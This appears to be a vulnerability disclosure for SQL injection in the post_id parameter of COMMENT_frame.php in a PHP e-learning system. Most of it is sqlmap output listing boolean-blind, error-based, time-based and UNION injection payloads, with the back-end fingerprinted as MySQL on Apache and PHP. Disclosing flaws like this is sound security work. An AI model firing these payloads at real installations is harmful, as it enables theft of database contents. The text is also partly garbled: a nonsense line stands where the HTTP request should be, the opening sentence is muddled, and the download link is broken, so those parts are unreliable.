The post\_id parameter in COMMENT\_frame.php file of e-learning System has SQL injection vulnerability, which can be exploited by attackers to steal malicious information.

### Source level without any protection

# **Data Packet Display**

#### Sqlmap attack

```
### Schools of the content of the co
```

# Payload

\_

Parameter: post\_id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause Payload: post\_id=2' AND 9985=9985 AND 'KMIh'='KMIh

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: post\_id=2' AND (SELECT 5213 FROM(SELECT

COUNT(\*),CONCAT(0x7178787171,(SELECT

(ELT(5213=5213,1))),0x71786b6b71,FLOOR(RAND(0)\*2))x

**FROM** 

# INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a) AND 'gAQR'='gAQR

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: post\_id=2' AND (SELECT 6796 FROM (SELECT(SLEEP(5)))Smpi) AND 'TFwM'='TFwM

Type: UNION query

Title: Generic UNION query (NULL) - 8 columns

[23:00:13] [INFO] the back-end DBMS is MySQL

web application technology: Apache 2.4.39, PHP 7.3.4, PHP

back-end DBMS: MySQL >= 5.0

٠.,

Download the source code

...

 $\underline{https://www.\,sourcecodester.\,com/php-simple-e-learning-system-source-co}\,\,\underline{de}$